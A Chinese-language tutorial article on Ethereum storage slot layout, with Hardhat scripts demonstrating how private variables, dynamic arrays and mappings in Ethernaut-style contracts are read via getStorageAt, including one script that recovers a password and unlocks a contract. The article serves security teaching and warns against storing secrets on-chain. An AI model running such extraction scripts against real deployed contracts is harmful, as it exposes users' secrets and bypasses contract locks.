前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >合约私有数据泄漏的安全问题分析及演示

合约私有数据泄漏的安全问题分析及演示

作者头像
Tiny熊
发布2022-11-07 09:55:55
5270
发布2022-11-07 09:55:55
举报
文章被收录于专栏:深入浅出区块链技术

本文作者:小驹[1]

1. 简介

以太坊编程中的存储主要包括两种:

  • 以太坊如何在区块链上存储合约数据
  • Solidity 如何存储全局变量和局部变量。

每个智能合约都有自己的存储来反映合约的状态,这些存储都与智能合约的地址进行绑定。在不同的函数调用中,这些存储中的值都是保持不变的。

1.1 存储的基本原则

本文主要讨论在区块链上存储的合约数据。根据官方文档,合约数据在以太坊区块链上有 2^256 个槽,每个槽 32 字节.

Storage on Ethereum blockchain is 2^256 slots, and each slot is 32 bytes. 在以太坊区块链中的存储有 2^256 个槽,每个槽 32 字节。

静态变量(除了映射和动态大小的数组类型之外的所有变量)从位置 0 开始在存储中连续布局。同时为了节省空间,会根据以下规则将需要少于 32 个字节的多个项目打包到一个存储槽中:

  • 在每个槽中,第一项存储在低位,第二项存储在次低位,从低位向高位存储。
  • 基本类型只使用存储它们所需的那么多字节,如一个 bool 只使用 1 个字节,1 个 uint16 只使用 2 个字节。
  • 如果一个存储槽的剩余空间不足以存储基本类型,则将该基本类型移动到下一个存储槽中存储。
  • 结构休和数组总是开始一个新的槽并占据整个槽(但是结构体或数组中的子类型也会根据这些上面的规则被优化存储)。

数据按声明顺序依次存储在这些插槽中。存储时会进行优化以节省存储空间。因此,如果依次的多个变量可以在单个 32 字节槽中容纳的话,它们将共享同一个槽,并且依次从最低有效位(从右侧)开始存储和索引。

太坊存储和空间优化的可视化示例。图 1 说明状态变量按顺序挨个slot存储,图 2 说明会将变量尽可能“挤”在一个slot中,“挤” 不下的话就存储在下一个 slot 中。

当使用小于 32 字节的类型时,所花费合约的 gas 可能会更高。这与直观感受的”使用的空间越少,gas 费越低”的直观感受不相符。这是因为 EVM 一次运行 32 个 bytes。因此,如果类型小于 32 个 bytes,EVM 必须使用更多的操作才能将类型的大小从 32 bytes 减少到所需的大小。只有在存储内容时,使用对应大小的的参数是效果的,因为编译器会将多个元素打包到一个存储槽中,从而将多个读取或写入组合到一个操作中。在处理函数参数或 memory 类型值时,尽量不要使用小于 32 的类型,因为编译器不会打包这些值。由于它们不可预测的大小,映射和动态大小的数组类型使用 Keccak-256 哈希计算来查找值或数组数据的起始位置。这些起始位置始终是满栈槽。

1.2 动态数组和 mapping 类型的存储

mapping 和动态数组的大小不可预测,因此映射和动态数组类型使用 Keccak256 哈希计算来查找值或数组数据的起始位置。这些起始位置始终是放在一个槽中。

🤪下面的文字比较难理解,建议可以根据演示三和演示四的模拟过程进行理解。

假设 mapping 或动态数组的存储位置在应用存储布局规则后最终存储在 slot p 中。

  • 对于动态数组,此 slot(也就是 slot p)储数组中元素的数量(字节数组和字符串除外,见下文)。
  • 对于 mapping,该 slot(也就是 slot p)保持为,此时即使有两个彼此相邻的映射,它们的内容最终位于完全不同的存储位置(是由 keccak256 哈希确定位置)。

数组数据从 keccak256(p) 开始,其布局方式与静态大小的数组数据相同(一个元素接一个元素),如果元素不超过 16 个字节,则可能共享存储槽。动态数组的动态数组递归地应用此规则。

如计算元素 x[i][j] 的位置,其中 x 的类型是 uint24[][],计算如下(再次假设 x 本身存储在插槽 p 中): 插槽是 keccak256(keccak256(p) + i) + floor(j / floor(256 / 24)) 并且可以使用 (v >> ((j % floor(256 / 24)) * 24)) & type(uint24) 从槽数据 v 中获得元素。

对应于 mapping,key k 的值位于 keccak256(h(k)* p) 处,h 是根据类型应用于键的函数:

  • 对于值类型,h 将值填充为 32 个字节,其方式与将值存储在内存中时的方式相同。
  • 对于字符串和字节数组,h(k) 只是未填充的数据。

1.3 对区块存储的访问

在 web3.js 中,可以使用web3.eth.getStorageAt来访问合约存储。

在 ethers.js 中,可以使用privider.getStorageAt来访问合约存储。

本文的模拟是基于 hardhat+ehers.js 的演示,所以读取合约存储时,使用的是privider.getStorageAt函数进行访问。

2.演示实例

通过 4 个示例来理解合约在区块链上的存储原则,4 个演示代码由简入繁,依次递进,逐步深入。

演示一:简单的 slot 数据的排列

使用ethernaut vault 题目作为演示。演示的过程是:

  1. 本地部署合约,其中使用自定义的 password 为”aaaabbbccc”.
  2. 部署完成后,假装我们不知道部署时的 password,通过合约直接读取 slot 得到部署时的密码。

通过这个演示,来理解在合约中的private变量虽然只能由合约本身使用,但可以通过合约地址读取到该pricate变量的具体内容

演示合约代码 Vault.sol

根据前面的分析,Vault 合约中的两个状态变量:locked,password。

第一个 slot 中会保存 locked,保存在最低位,高位的 31 个字节为空。

第二个 slot 中会保存 password。会占满第二个 slot 中的 32 个字节。

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

在 script 目录下新建attack.ts,模拟上面的攻击过程,通过使用命令npm hardhat run script/attack.ts进行模拟。

代码语言:javascript
复制
import { util } from "chai";
import { utimes } from "fs";
import { ethers, waffle } from "hardhat";

async function main() {
  const Vault = await ethers.getContractFactory("Vault");
  const password = "aaaabbbccc";
  const vault = await Vault.deploy(ethers.utils.formatBytes32String(password));

  await vault.deployed();
  console.log("---------环境模拟完成-------\\n 使用password:%s 进行部署\\n部署地址:%s\\n", password, vault.address);
  // console.log("部署地址:", vault.address);

  console.log("--------模拟攻击过程-------\\n--------取得slot 1的内容后,转化成string后就为密码");
  let provider = waffle.provider;
  console.log("slot 0(保存的是bool类型的locked,1表示true,0表示false):%s ", await provider.getStorageAt(vault.address, 0))
  console.log("slot 1(保存的是password):%s, 转化成string:%s ",
              await provider.getStorageAt(vault.address, 1),
              ethers.utils.parseBytes32String(await provider.getStorageAt(vault.address, 1)))

}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

可以看到,从第二个 slot 中(也就是 slot 1)中成功读取到了部署时使用的 password。

演示二:不同类型状态变量在 slot 中排列

以 ethernaut 中的privacy题目演示。因为原始的 privacy 合约是用低版本的 solidity 编写的,首先我们要 privacy 的合约适配到 0.8 版本中。需要修改的点只有一个:now 常量在 0.8 版本中已经被弃用,需要使用 block.timestamp 替代。

演示合约代码 privacy.sol

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
  pragma solidity ^0.8.0;

  contract Privacy {

    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) public {
      data = _data;
    }

    function unlock(bytes16 _key) public {
      require(_key == bytes16(data[2]));
      locked = false;
    }

    /*
      A bunch of super advanced solidity algorithms...

        ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
        .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
        *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\\
        `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
        ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
  }

我们首先分析下合约的状态变量及状态变量所在 slot 的情况:

代码语言:javascript
复制
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

slot 0:
locked 占1个字节,剩余的3个字节留空

slot 1:
ID 占4个字节

slot 2:
flatterning占1个字节, denomination占1个字节, awkardness占2个字节。

slot 3, 4, 5:
data[0],data[1],data[2]

模拟过程:

  1. 先部署 Privacy 合约。
  2. 查看 slot 0 到 slot 5 的数据。
  3. 根据代码分析 slot 5 中的取 16 就会 password,取出 password.
  4. 使用 3 中得到 password,调用privacy合约unlock方法。就实现了解锁操作。
  5. 调用privacy合约locked方法,查看当前合约的锁定状态。

使用下面的attack.ts模拟上述的过程,通过使用命令npm hardhat run script/attack.ts进行模拟并查看输出的日志。

代码语言:javascript
复制
import { ethers, waffle } from "hardhat";

async function main() {
  const privider = waffle.provider;
  const Privacy = await ethers.getContractFactory("Privacy");

  const privacy = await Privacy.deploy([ethers.utils.formatBytes32String("abc"),
                                        ethers.utils.formatBytes32String("123"),
                                        ethers.utils.formatBytes32String("0123456789abcdefghigklmnopqrstu")]);

  await privacy.deployed();
  console.log("--------部署完成,地址:%s--------\\nlocked状态:%s", privacy.address, await privacy.locked());

  console.log("---------攻击演示------\\n---------各slot数据------");
  for (let i = 0; i < 6; i++) {
    const element = await privider.getStorageAt(privacy.address, i);
    console.log('slot%s:%s', i , element);
  }

  let slot5 = await privider.getStorageAt(privacy.address, 5);
  console.log("读取数据,使用读取到的密码调用unlock函数....");
  await privacy.unlock(ethers.utils.hexlify(slot5.slice(0,34)));  //取16个字节,对应32位长度,再加上前面的0x前缀,一共要取34长度
  console.log("locked状态:%s", await privacy.locked());

}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

演示三:定位动态数组状态变量的内容

在合约中,定位到动态数组类型的状态变量的内容。

演示的合约代码 Vault.sol

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
  pragma solidity ^0.8.0;

  contract Vault {
    //slot 0
    uint public count = 123;

    //slot 1
    address public owner = msg.sender;
    bool public isTrue = true;
    uint16 public u16 = 31;
    //slot 2
    bytes32 private password;
    // constant常量不占用slot
    uint public constant SomeCount = 123;
    //slot 3, 4, 5
    bytes32[3] public data;

    struct User {
        uint id;
        bytes32 password;
    }
    // slot 6
    User[] private users;
    // slot
    mapping(uint => User) private idToUser;

    constructor(bytes32 _password) {
        password = _password;
    }

    function addUser(bytes32 _password) public {
        User memory user = User({id: users.length, password:_password});
        users.push(user);
        idToUser[user.id] = user;
    }

  }

模拟演示过程文件 attack.ts,演示过程如下:

  1. 部署 Privacy 合约,打印合约的部署地址。
  2. 部署完成后,打印 slot 的内容。
  3. 向动态数组中添加两个用户,id为1的用户password为“123”,id为2的用户的password为“789”
  4. 上面的环境完成后,尝试读取到动态用户的 password.
代码语言:javascript
复制
import { ethers, waffle } from "hardhat";
function addrAdd(_from:any, _num:number){
  let b = ethers.BigNumber.from(_from).add(_num)
  return ethers.utils.hexValue(b);
}

async function main() {
  const privider = waffle.provider;

  const Vault = await ethers.getContractFactory("Vault");
  const vault = await Vault.deploy("0x0000000000000000000000000000000000000000000000000000000000616263");

  await vault.deployed();
  console.log("\\nvault部署地址:%s", vault.address);
  console.log("---------攻击演示------\\n---------Vault各slot数据------");
  // 因为users中没有数据,所以现在slot 6, slot7都为空
  for (let i = 0; i < 8; i++) {
    const element = await privider.getStorageAt(vault.address, i);
    console.log('slot%s:%s', i , element);
  }

  // 添加两个用户,此时users动态数组中有数据了。
  await vault.addUser("0x0000000000000000000000000000000000000000000000000000000000313233");
  await vault.addUser("0x0000000000000000000000000000000000000000000000000000000000373839");

  // 此时的slot6中保存的是动态数组users的长度。获得动态数组在区块链上的slot的方式。
  console.log("\\n动态数组users的长度:%s\\n",await privider.getStorageAt(vault.address, 6));
  var hash = await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["uint"], [6]))
  console.log("\\nuser[0].id:%s\\n", await privider.getStorageAt(vault.address, hash));
  // 0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f
  console.log("\\nuser[0].password:%s\\n", await privider.getStorageAt(vault.address, addrAdd(hash, 1)));
  console.log("\\nuser[1].id:%s\\n", await privider.getStorageAt(vault.address, addrAdd(hash, 2)));
  console.log("\\nuser[1].password:%s\\n", await privider.getStorageAt(vault.address, addrAdd(hash, 3)));
}

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

演示四:定位 mapping 状态变量的内容

目的:获取到private类型 mapping结构 状态变量在 slot 中的内容。

原始的合约代码 UserPass.sol。根据前面的知识,slot0 中会保存 owner 的地址,slot1 中开始为 users 的 slot.

代码语言:javascript
复制
// SPDX-License-Identifier: MIT
  pragma solidity ^0.8.0;

  contract UserPass {
    //slot 0
    address public owner = msg.sender;
    // constant常量不占用slot
    uint public constant SomeCount = 123;
    struct User {
        bytes32 name;
        bytes32 password;
    }
    // slot 1
    mapping(address => User) private users;

    constructor() {
        owner = msg.sender;
    }

    function addUser(bytes32 _username, bytes32 _password) public {
        User memory user = User({name:_username, password:_password});
        users[msg.sender] = user;
    }

  }

script 目录username.ts,模拟脚本,通过命令来执行模拟脚本npx hardhat run scripts/username.ts

模拟的过程:

  1. 部署 UserPass 合约。
  2. 打印出部署完成后,合约的地址和合约的 slot 的内容。
  3. 使用 user1 向 UserPass 合约中添加用户名”111”,密码为”1111”的用户。
  4. 使用 user2 向 UserPass 合约中添加用户名”222”,密码为”2222”的用户。
  5. 上述的 1-4 的准备工作完成后,开始模拟读取 UserPass 合约中 mapping 类型的状态变量 user 的值。mapping 的读取方式:
    1. 通过 mapping 的类型(address⇒uint)、待取的数据的key的值user1.addr和起始的slot(这里是 1),计算出 hash=await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["address", "uint"], [user1.address,1]))
    2. 该 hash 处对应的 slot 存储的就是 value,value 也是按照尽量”挤”在一个 slot 中,一个“挤”不下时放在下一个 slot 中的存储原则。( 具体的对照着代码来理解吧 )
代码语言:javascript
复制
import { ethers, waffle } from "hardhat";
import { mainModule } from "process";
function addrAdd(_from:any, _num:number){
  let b = ethers.BigNumber.from(_from).add(_num)
  return ethers.utils.hexValue(b);
}

async function main() {
  const privider = waffle.provider;
  const UserPass = await ethers.getContractFactory("UserPass");
  const userpass = await UserPass.deploy();
  let user1, user2;
  [user1, user2] = await ethers.getSigners();

  await userpass.deployed();
  console.log("\\nvault部署地址:%s\\nuser1.address:%s\\nuser2.address:%s", userpass.address, user1.address, user2.address);
  console.log("\\n---------userpass各slot数据------");
  // 因为users中没有数据,所以现在slot为owner, slot 1, slo2都为空
  for (let i = 0; i < 3; i++) {
    const element = await privider.getStorageAt(userpass.address, i);
    console.log('slot%s:%s', i , element);
  }
  // 向mapping中添加两个数据
  await userpass.connect(user1).addUser("0x0000000000000000000000000000000000000000000000000000000000313131",
                        "0x0000000000000000000000000000000000000000000000000000000031313131");
  await userpass.connect(user2).addUser("0x0000000000000000000000000000000000000000000000000000000000323232",
                        "0x0000000000000000000000000000000000000000000000000000000032323232");

//slot 1 users
let hash;
console.log("\\n与动态数组不同,mapping数据不在slot中存储长度:%s",await privider.getStorageAt(userpass.address, 1));
hash = await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["address", "uint"], [user1.address,1]))
console.log("\\n根据mapping的key(addr:%s)计算得到hash(即为value所在的槽地址)=%s", user1.address,hash);
console.log("\\nmapping数据users的name:%s",await privider.getStorageAt(userpass.address, hash));
console.log("\\nmapping数据users的password:%s",await privider.getStorageAt(userpass.address, addrAdd(hash, 1)));

hash = await ethers.utils.keccak256(await ethers.utils.defaultAbiCoder.encode(["address", "uint"], [user2.address,1]))
console.log("\\n根据mapping的key(addr:%s)计算得到hash(即为value所在的槽地址)=%s", user2.address,hash);
console.log("\\nmapping数据users的name:%s",await privider.getStorageAt(userpass.address, hash));
console.log("\\nmapping数据users的password:%s",await privider.getStorage At(userpass.address, addrAdd(hash, 1)));

}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
  });

模拟结果:

代码语言:javascript
复制
vault部署地址:0x5FbDB2315678afecb367f032d93F642f64180aa3
user1.address:0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
user2.address:0x70997970C51812dc3A010C7d01b50e0d17dc79C8

---------userpass各slot数据------
slot0:0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
slot1:0x0000000000000000000000000000000000000000000000000000000000000000
slot2:0x0000000000000000000000000000000000000000000000000000000000000000

与动态数组不同,mapping数据不在slot中存储长度:0x0000000000000000000000000000000000000000000000000000000000000000

根据mapping的key(addr:0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266)计算得到hash(即为value所在的槽地址)=0xa3c1274aadd82e4d12c8004c33fb244ca686dad4fcc8957fc5668588c11d9502

mapping数据users的name:0x0000000000000000000000000000000000000000000000000000000000313131

mapping数据users的password:0x0000000000000000000000000000000000000000000000000000000031313131

根据mapping的key(addr:0x70997970C51812dc3A010C7d01b50e0d17dc79C8)计算得到hash(即为value所在的槽地址)=0x3c8e904cdb19937d60d41c8d984b1a8803ad6e0891b4f9e032dcec2a22c2c7f5

mapping数据users的name:0x0000000000000000000000000000000000000000000000000000000000323232

mapping数据users的password:0x0000000000000000000000000000000000000000000000000000000032323232

3.总结

区块链上合约数据的存储,最需要理解的一些内容如下:

  • 所有存储在区块链上都是公开可见的,包括合约的私有状态变量!所以不要在区块链上存储密码和私钥,而且对于确实需要存储的敏感数据尽量使用 hash 比对的存储密文 hash。
  • 状态变量存储在slot上,共 2^256 个 slot,每个 slot 占 32 个字节,状态变量按顺序挨个 slot 存储,尽可能“挤”在一个 slot 中,“挤” 不下的话就存储在下一个 slot 中。
  • 动态数组和 mapping 的变量存储比较复杂。
    • 动态数组,在对应的 slot 上存储数组的长度。通过对数组下标与数组类型计算出 hash,找到对应 hash 的 slot 后依次存储。
    • mapping类型,对应的 slot 上为 0x0。通过 mapping 类型、key 和起始的 slot 计算出 hash,找到 hash 对应的 slot 后依次存储。
  • 对合约存储的访问。使用 ethers.js 中的privider.getStorageAt访问 slot,对于动态数组和 mapping 类型,结合使用ethers.utils.defaultAbiCoder.encode(["xxx", “xxx”], [slotnum])ethers.utils.keccak256来得到 slot 的位置。

4.参考

solidity 官方数据存储说明

https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage[2]

常量不占存储空间的说明

https://docs.soliditylang.org/en/latest/contracts.html#constants[3]

ethernaut private 题目解答

https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6[4]

ethernaut vault 题目链接

https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188[5]

ethernaut vault 题目解答

https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f[6]

智能合约安全审计入门篇 —— 访问私有数据

https://learnblockchain.cn/article/3880[7]

参考资料

[1]

小驹: https://learnblockchain.cn/people/9625

[2]

https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage: https://docs.soliditylang.org/en/v0.4.24/miscellaneous.html#layout-of-state-variables-in-storage

[3]

https://docs.soliditylang.org/en/latest/contracts.html#constants: https://docs.soliditylang.org/en/latest/contracts.html#constants

[4]

https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6: https://medium.com/coinmonks/ethernaut-lvl-12-privacy-walkthrough-how-ethereum-optimizes-storage-to-save-space-and-be-less-c9b01ec6adb6

[5]

https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188: https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188

[6]

https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f: https://medium.com/coinmonks/how-to-read-private-variables-in-contract-storage-with-truffle-ethernaut-lvl-8-walkthrough-b2382741da9f

[7]

https://learnblockchain.cn/article/3880: https://learnblockchain.cn/article/3880

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 简介
    • 1.1 存储的基本原则
      • 1.2 动态数组和 mapping 类型的存储
        • 1.3 对区块存储的访问
        • 2.演示实例
          • 演示一:简单的 slot 数据的排列
            • 演示二:不同类型状态变量在 slot 中排列
              • 演示三:定位动态数组状态变量的内容
                • 演示四:定位 mapping 状态变量的内容
                • 3.总结
                • 4.参考
                  • 参考资料
                  相关产品与服务
                  对象存储
                  对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档